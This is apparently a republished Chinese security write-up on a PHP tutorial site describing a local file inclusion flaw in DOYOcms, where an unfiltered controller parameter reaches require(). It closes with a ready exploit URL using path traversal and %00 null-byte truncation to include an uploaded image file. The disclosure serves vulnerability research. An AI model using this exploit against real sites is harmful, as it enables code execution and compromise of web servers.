网站地图    收藏   

主页 > 后端 > 网站安全 >

DOYOcms 本地文件包含漏洞 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:02 作者: 阅读:

[导读] 这是这套CMS ,这个很简洁。。。 这里的$handle_controller = syClass($__controller, null, $GLOBALS[#39;G_DY#39;][controller_path].#39;/#39;.$__controller..php);接下来往下看 这里的$sd......

这是这套CMS ,这个很简洁。。。

DOYOcms 本地文件包含漏洞

这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY']["controller_path"].'/'.$__controller.".php");

接下来往下看

DOYOcms 本地文件包含漏洞

DOYOcms 本地文件包含漏洞

这里的$sdir 没有经过任何过滤来的,然后看下这个import函数 www.2cto.com

DOYOcms 本地文件包含漏洞

这里直接包含了该文件

require($sfilename);

所以结合前面的

$GLOBALS['G_DY']["controller_path"].'/'.$__controller.".php"

$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的

这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞。 然后这里要保证魔术常量是关闭的。

下图就是成功包含的图

DOYOcms 本地文件包含漏洞


Exp:
 
http://www.2cto.com /test/index.php?c=../uploads/2012/06/1.gif%00&a=type&tid=1
 

作者:Nuclear'Atk 网络安全研究中心

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论